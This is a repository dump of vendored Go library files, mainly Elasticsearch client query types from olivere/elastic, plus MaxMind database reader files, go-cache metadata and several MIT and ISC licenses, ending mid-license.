/vendor/github.com/olivere/elastic/search_aggs_bucket_count_thresholds.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // BucketCountThresholds is used in e.g. terms and significant text aggregations. 8 | type BucketCountThresholds struct { 9 | MinDocCount *int64 10 | ShardMinDocCount *int64 11 | RequiredSize *int 12 | ShardSize *int 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/search_queries_raw_string.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard, John Stanford. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import "encoding/json" 8 | 9 | // RawStringQuery can be used to treat a string representation of an ES query 10 | // as a Query. Example usage: 11 | // q := RawStringQuery("{\"match_all\":{}}") 12 | // db.Search().Query(q).From(1).Size(100).Do() 13 | type RawStringQuery string 14 | 15 | // NewRawStringQuery ininitializes a new RawStringQuery. 16 | // It is the same as RawStringQuery(q). 17 | func NewRawStringQuery(q string) RawStringQuery { 18 | return RawStringQuery(q) 19 | } 20 | 21 | // Source returns the JSON encoded body 22 | func (q RawStringQuery) Source() (interface{}, error) { 23 | var f interface{} 24 | err := json.Unmarshal([]byte(q), &f) 25 | return f, err 26 | } 27 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/search_queries_type.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // TypeQuery filters documents matching the provided document / mapping type. 8 | // 9 | // For details, see: 10 | // https://www.elastic.co/guide/en/elasticsearch/reference/6.8/query-dsl-type-query.html 11 | type TypeQuery struct { 12 | typ string 13 | } 14 | 15 | func NewTypeQuery(typ string) *TypeQuery { 16 | return &TypeQuery{typ: typ} 17 | } 18 | 19 | // Source returns JSON for the query. 20 | func (q *TypeQuery) Source() (interface{}, error) { 21 | source := make(map[string]interface{}) 22 | params := make(map[string]interface{}) 23 | source["type"] = params 24 | params["value"] = q.typ 25 | return source, nil 26 | } 27 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/search_queries_wrapper.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // WrapperQuery accepts any other query as base64 encoded string. 8 | // 9 | // For details, see 10 | // https://www.elastic.co/guide/en/elasticsearch/reference/6.8/query-dsl-wrapper-query.html. 11 | type WrapperQuery struct { 12 | source string 13 | } 14 | 15 | // NewWrapperQuery creates and initializes a new WrapperQuery. 16 | func NewWrapperQuery(source string) *WrapperQuery { 17 | return &WrapperQuery{source: source} 18 | } 19 | 20 | // Source returns JSON for the query. 21 | func (q *WrapperQuery) Source() (interface{}, error) { 22 | // {"wrapper":{"query":"..."}} 23 | source := make(map[string]interface{}) 24 | tq := make(map[string]interface{}) 25 | source["wrapper"] = tq 26 | tq["query"] = q.source 27 | return source, nil 28 | } 29 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/suggester.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Represents the generic suggester interface. 8 | // A suggester's only purpose is to return the 9 | // source of the query as a JSON-serializable 10 | // object. Returning a map[string]interface{} 11 | // will do. 12 | type Suggester interface { 13 | Name() string 14 | Source(includeName bool) (interface{}, error) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/uritemplates/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Joshua Tacoma 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software is furnished to do so, 8 | subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/uritemplates/utils.go: -------------------------------------------------------------------------------- 1 | package uritemplates 2 | 3 | func Expand(path string, expansions map[string]string) (string, error) { 4 | template, err := Parse(path) 5 | if err != nil { 6 | return "", err 7 | } 8 | values := make(map[string]interface{}) 9 | for k, v := range expansions { 10 | values[k] = v 11 | } 12 | return template.Expand(values) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | 24 | .envrc 25 | 26 | /.vscode/ 27 | /.idea/ 28 | /data 29 | /debug.test 30 | /generator 31 | /cluster-test/cluster-test 32 | /cluster-test/*.log 33 | /cluster-test/es-chaos-monkey 34 | /dist 35 | /go.sum 36 | /spec 37 | /tmp 38 | /CHANGELOG-3.0.html 39 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/CHANGELOG-6.0.md: -------------------------------------------------------------------------------- 1 | # Changes from 5.0 to 6.0 2 | 3 | See [breaking changes](https://www.elastic.co/guide/en/elasticsearch/reference/master/breaking-changes-6.0.html). 4 | 5 | ## _all removed 6 | 7 | 6.0 has removed support for the `_all` field. 8 | 9 | ## Boolean values coerced 10 | 11 | Only use `true` or `false` for boolean values, not `0` or `1` or `on` or `off`. 12 | 13 | ## Single Type Indices 14 | 15 | Notice that 6.0 and future versions will default to single type indices, i.e. you may not use multiple types when e.g. adding an index with a mapping. 16 | 17 | See [here for details](https://www.elastic.co/guide/en/elasticsearch/reference/6.7/removal-of-types.html#_what_are_mapping_types). 18 | 19 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | Please use the following questions as a guideline to help me answer 2 | your issue/question without further inquiry. Thank you. 3 | 4 | ### Which version of Elastic are you using? 5 | 6 | [ ] elastic.v7 (for Elasticsearch 7.x) 7 | [ ] elastic.v6 (for Elasticsearch 6.x) 8 | [ ] elastic.v5 (for Elasticsearch 5.x) 9 | [ ] elastic.v3 (for Elasticsearch 2.x) 10 | [ ] elastic.v2 (for Elasticsearch 1.x) 11 | 12 | ### Please describe the expected behavior 13 | 14 | 15 | ### Please describe the actual behavior 16 | 17 | 18 | ### Any steps to reproduce the behavior? 19 | 20 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | Copyright © 2012-2015 Oliver Eilhard 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the “Software”), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included 12 | in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 19 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 20 | IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: test 2 | test: 3 | go test -race -deprecations -strict-decoder -v . ./aws/... ./config/... ./trace/... ./uritemplates/... 4 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/acknowledged_response.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // AcknowledgedResponse is returned from various APIs. It simply indicates 8 | // whether the operation is acknowledged or not. 9 | type AcknowledgedResponse struct { 10 | Acknowledged bool `json:"acknowledged"` 11 | ShardsAcknowledged bool `json:"shards_acknowledged"` 12 | Index string `json:"index,omitempty"` 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/bulk_request.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | // -- Bulkable request (index/update/delete) -- 12 | 13 | // BulkableRequest is a generic interface to bulkable requests. 14 | type BulkableRequest interface { 15 | fmt.Stringer 16 | Source() ([]string, error) 17 | } 18 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/config/doc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | /* 6 | Package config allows parsing a configuration for Elasticsearch 7 | from a URL. 8 | */ 9 | package config 10 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/docvalue_field.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // DocvalueField represents a docvalue field, its name and 8 | // its format (optional). 9 | type DocvalueField struct { 10 | Field string 11 | Format string 12 | } 13 | 14 | // Source serializes the DocvalueField into JSON. 15 | func (d DocvalueField) Source() (interface{}, error) { 16 | if d.Format == "" { 17 | return d.Field, nil 18 | } 19 | return map[string]interface{}{ 20 | "field": d.Field, 21 | "format": d.Format, 22 | }, nil 23 | } 24 | 25 | // DocvalueFields is a slice of DocvalueField instances. 26 | type DocvalueFields []DocvalueField 27 | 28 | // Source serializes the DocvalueFields into JSON. 29 | func (d DocvalueFields) Source() (interface{}, error) { 30 | if d == nil { 31 | return nil, nil 32 | } 33 | v := make([]interface{}, 0) 34 | for _, f := range d { 35 | src, err := f.Source() 36 | if err != nil { 37 | return nil, err 38 | } 39 | v = append(v, src) 40 | } 41 | return v, nil 42 | } 43 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/logger.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Logger specifies the interface for all log operations. 8 | type Logger interface { 9 | Printf(format string, v ...interface{}) 10 | } 11 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/plugins.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import "context" 8 | 9 | // HasPlugin indicates whether the cluster has the named plugin. 10 | func (c *Client) HasPlugin(name string) (bool, error) { 11 | plugins, err := c.Plugins() 12 | if err != nil { 13 | return false, nil 14 | } 15 | for _, plugin := range plugins { 16 | if plugin == name { 17 | return true, nil 18 | } 19 | } 20 | return false, nil 21 | } 22 | 23 | // Plugins returns the list of all registered plugins. 24 | func (c *Client) Plugins() ([]string, error) { 25 | stats, err := c.ClusterStats().Do(context.Background()) 26 | if err != nil { 27 | return nil, err 28 | } 29 | if stats == nil { 30 | return nil, err 31 | } 32 | if stats.Nodes == nil { 33 | return nil, err 34 | } 35 | var plugins []string 36 | for _, plugin := range stats.Nodes.Plugins { 37 | plugins = append(plugins, plugin.Name) 38 | } 39 | return plugins, nil 40 | } 41 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/query.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Query represents the generic query interface. A query's sole purpose 8 | // is to return the source of the query as a JSON-serializable object. 9 | // Returning map[string]interface{} is the norm for queries. 10 | type Query interface { 11 | // Source returns the JSON-serializable query request. 12 | Source() (interface{}, error) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/rescore.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | type Rescore struct { 8 | rescorer Rescorer 9 | windowSize *int 10 | defaultRescoreWindowSize *int 11 | } 12 | 13 | func NewRescore() *Rescore { 14 | return &Rescore{} 15 | } 16 | 17 | func (r *Rescore) WindowSize(windowSize int) *Rescore { 18 | r.windowSize = &windowSize 19 | return r 20 | } 21 | 22 | func (r *Rescore) IsEmpty() bool { 23 | return r.rescorer == nil 24 | } 25 | 26 | func (r *Rescore) Rescorer(rescorer Rescorer) *Rescore { 27 | r.rescorer = rescorer 28 | return r 29 | } 30 | 31 | func (r *Rescore) Source() (interface{}, error) { 32 | source := make(map[string]interface{}) 33 | if r.windowSize != nil { 34 | source["window_size"] = *r.windowSize 35 | } else if r.defaultRescoreWindowSize != nil { 36 | source["window_size"] = *r.defaultRescoreWindowSize 37 | } 38 | rescorerSrc, err := r.rescorer.Source() 39 | if err != nil { 40 | return nil, err 41 | } 42 | source[r.rescorer.Name()] = rescorerSrc 43 | return source, nil 44 | } 45 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/runtime_mappings.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // RuntimeMappings specify fields that are evaluated at query time. 8 | // 9 | // See https://www.elastic.co/guide/en/elasticsearch/reference/7.14/runtime.html 10 | // for details. 11 | type RuntimeMappings map[string]interface{} 12 | 13 | // Source deserializes the runtime mappings. 14 | func (m *RuntimeMappings) Source() (interface{}, error) { 15 | return m, nil 16 | } 17 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/search_aggs_bucket_count_thresholds.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // BucketCountThresholds is used in e.g. terms and significant text aggregations. 8 | type BucketCountThresholds struct { 9 | MinDocCount *int64 10 | ShardMinDocCount *int64 11 | RequiredSize *int 12 | ShardSize *int 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/search_queries_raw_string.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard, John Stanford. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import "encoding/json" 8 | 9 | // RawStringQuery can be used to treat a string representation of an ES query 10 | // as a Query. Example usage: 11 | // q := RawStringQuery("{\"match_all\":{}}") 12 | // db.Search().Query(q).From(1).Size(100).Do() 13 | type RawStringQuery string 14 | 15 | // NewRawStringQuery ininitializes a new RawStringQuery. 16 | // It is the same as RawStringQuery(q). 17 | func NewRawStringQuery(q string) RawStringQuery { 18 | return RawStringQuery(q) 19 | } 20 | 21 | // Source returns the JSON encoded body 22 | func (q RawStringQuery) Source() (interface{}, error) { 23 | var f interface{} 24 | err := json.Unmarshal([]byte(q), &f) 25 | return f, err 26 | } 27 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/search_queries_type.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // TypeQuery filters documents matching the provided document / mapping type. 8 | // 9 | // For details, see: 10 | // https://www.elastic.co/guide/en/elasticsearch/reference/7.0/query-dsl-type-query.html 11 | type TypeQuery struct { 12 | typ string 13 | } 14 | 15 | func NewTypeQuery(typ string) *TypeQuery { 16 | return &TypeQuery{typ: typ} 17 | } 18 | 19 | // Source returns JSON for the query. 20 | func (q *TypeQuery) Source() (interface{}, error) { 21 | source := make(map[string]interface{}) 22 | params := make(map[string]interface{}) 23 | source["type"] = params 24 | params["value"] = q.typ 25 | return source, nil 26 | } 27 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/search_queries_wrapper.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // WrapperQuery accepts any other query as base64 encoded string. 8 | // 9 | // For details, see 10 | // https://www.elastic.co/guide/en/elasticsearch/reference/7.0/query-dsl-wrapper-query.html. 11 | type WrapperQuery struct { 12 | source string 13 | } 14 | 15 | // NewWrapperQuery creates and initializes a new WrapperQuery. 16 | func NewWrapperQuery(source string) *WrapperQuery { 17 | return &WrapperQuery{source: source} 18 | } 19 | 20 | // Source returns JSON for the query. 21 | func (q *WrapperQuery) Source() (interface{}, error) { 22 | // {"wrapper":{"query":"..."}} 23 | source := make(map[string]interface{}) 24 | tq := make(map[string]interface{}) 25 | source["wrapper"] = tq 26 | tq["query"] = q.source 27 | return source, nil 28 | } 29 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/suggester.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Represents the generic suggester interface. 8 | // A suggester's only purpose is to return the 9 | // source of the query as a JSON-serializable 10 | // object. Returning a map[string]interface{} 11 | // will do. 12 | type Suggester interface { 13 | Name() string 14 | Source(includeName bool) (interface{}, error) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/uritemplates/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Joshua Tacoma 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | the Software, and to permit persons to whom the Software is furnished to do so, 8 | subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 15 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 16 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 17 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 18 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/v7/uritemplates/utils.go: -------------------------------------------------------------------------------- 1 | package uritemplates 2 | 3 | func Expand(path string, expansions map[string]string) (string, error) { 4 | template, err := Parse(path) 5 | if err != nil { 6 | return "", err 7 | } 8 | values := make(map[string]interface{}) 9 | for k, v := range expansions { 10 | values[k] = v 11 | } 12 | return template.Expand(values) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/geoip2-golang/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | *.out 3 | *.test 4 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/geoip2-golang/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "test-data"] 2 | path = test-data 3 | url = https://github.com/maxmind/MaxMind-DB.git 4 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/geoip2-golang/LICENSE: -------------------------------------------------------------------------------- 1 | ISC License 2 | 3 | Copyright (c) 2015, Gregory J. Oschwald 4 | 5 | Permission to use, copy, modify, and/or distribute this software for any 6 | purpose with or without fee is hereby granted, provided that the above 7 | copyright notice and this permission notice appear in all copies. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH 10 | REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY 11 | AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, 12 | INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM 13 | LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR 14 | OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR 15 | PERFORMANCE OF THIS SOFTWARE. 16 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | *.out 3 | *.sw? 4 | *.test 5 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "test-data"] 2 | path = test-data 3 | url = https://github.com/maxmind/MaxMind-DB.git 4 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/LICENSE: -------------------------------------------------------------------------------- 1 | ISC License 2 | 3 | Copyright (c) 2015, Gregory J. Oschwald 4 | 5 | Permission to use, copy, modify, and/or distribute this software for any 6 | purpose with or without fee is hereby granted, provided that the above 7 | copyright notice and this permission notice appear in all copies. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH 10 | REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY 11 | AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, 12 | INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM 13 | LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR 14 | OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR 15 | PERFORMANCE OF THIS SOFTWARE. 16 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/README.md: -------------------------------------------------------------------------------- 1 | # MaxMind DB Reader for Go # 2 | 3 | [![GoDoc](https://godoc.org/github.com/oschwald/maxminddb-golang?status.svg)](https://godoc.org/github.com/oschwald/maxminddb-golang) 4 | 5 | This is a Go reader for the MaxMind DB format. Although this can be used to 6 | read [GeoLite2](http://dev.maxmind.com/geoip/geoip2/geolite2/) and 7 | [GeoIP2](https://www.maxmind.com/en/geoip2-databases) databases, 8 | [geoip2](https://github.com/oschwald/geoip2-golang) provides a higher-level 9 | API for doing so. 10 | 11 | This is not an official MaxMind API. 12 | 13 | ## Installation ## 14 | 15 | ``` 16 | go get github.com/oschwald/maxminddb-golang 17 | ``` 18 | 19 | ## Usage ## 20 | 21 | [See GoDoc](http://godoc.org/github.com/oschwald/maxminddb-golang) for 22 | documentation and examples. 23 | 24 | ## Examples ## 25 | 26 | See [GoDoc](http://godoc.org/github.com/oschwald/maxminddb-golang) or 27 | `example_test.go` for examples. 28 | 29 | ## Contributing ## 30 | 31 | Contributions welcome! Please fork the repository and open a pull request 32 | with your changes. 33 | 34 | ## License ## 35 | 36 | This is free software, licensed under the ISC License. 37 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/deserializer.go: -------------------------------------------------------------------------------- 1 | package maxminddb 2 | 3 | import "math/big" 4 | 5 | // deserializer is an interface for a type that deserializes an MaxMind DB 6 | // data record to some other type. This exists as an alternative to the 7 | // standard reflection API. 8 | // 9 | // This is fundamentally different than the Unmarshaler interface that 10 | // several packages provide. A Deserializer will generally create the 11 | // final struct or value rather than unmarshaling to itself. 12 | // 13 | // This interface and the associated unmarshaling code is EXPERIMENTAL! 14 | // It is not currently covered by any Semantic Versioning guarantees. 15 | // Use at your own risk. 16 | type deserializer interface { 17 | ShouldSkip(offset uintptr) (bool, error) 18 | StartSlice(size uint) error 19 | StartMap(size uint) error 20 | End() error 21 | String(string) error 22 | Float64(float64) error 23 | Bytes([]byte) error 24 | Uint16(uint16) error 25 | Uint32(uint32) error 26 | Int32(int32) error 27 | Uint64(uint64) error 28 | Uint128(*big.Int) error 29 | Bool(bool) error 30 | Float32(float32) error 31 | } 32 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/mmap_unix.go: -------------------------------------------------------------------------------- 1 | // +build !windows,!appengine,!plan9 2 | 3 | package maxminddb 4 | 5 | import ( 6 | "golang.org/x/sys/unix" 7 | ) 8 | 9 | func mmap(fd, length int) (data []byte, err error) { 10 | return unix.Mmap(fd, 0, length, unix.PROT_READ, unix.MAP_SHARED) 11 | } 12 | 13 | func munmap(b []byte) (err error) { 14 | return unix.Munmap(b) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/oschwald/maxminddb-golang/reader_appengine.go: -------------------------------------------------------------------------------- 1 | // +build appengine plan9 2 | 3 | package maxminddb 4 | 5 | import "io/ioutil" 6 | 7 | // Open takes a string path to a MaxMind DB file and returns a Reader 8 | // structure or an error. The database file is opened using a memory map, 9 | // except on Google App Engine where mmap is not supported; there the database 10 | // is loaded into memory. Use the Close method on the Reader object to return 11 | // the resources to the system. 12 | func Open(file string) (*Reader, error) { 13 | bytes, err := ioutil.ReadFile(file) 14 | if err != nil { 15 | return nil, err 16 | } 17 | 18 | return FromBytes(bytes) 19 | } 20 | 21 | // Close unmaps the database file from virtual memory and returns the 22 | // resources to the system. If called on a Reader opened using FromBytes 23 | // or Open on Google App Engine, this method sets the underlying buffer 24 | // to nil, returning the resources to the system. 25 | func (r *Reader) Close() error { 26 | r.buffer = nil 27 | return nil 28 | } 29 | -------------------------------------------------------------------------------- /vendor/github.com/patrickmn/go-cache/CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | This is a list of people who have contributed code to go-cache. They, or their 2 | employers, are the copyright holders of the contributed code. Contributed code 3 | is subject to the license restrictions listed in LICENSE (as they were when the 4 | code was contributed.) 5 | 6 | Dustin Sallings 7 | Jason Mooberry 8 | Sergey Shepelev 9 | Alex Edwards 10 | -------------------------------------------------------------------------------- /vendor/github.com/patrickmn/go-cache/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012-2017 Patrick Mylund Nielsen and the go-cache contributors 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | 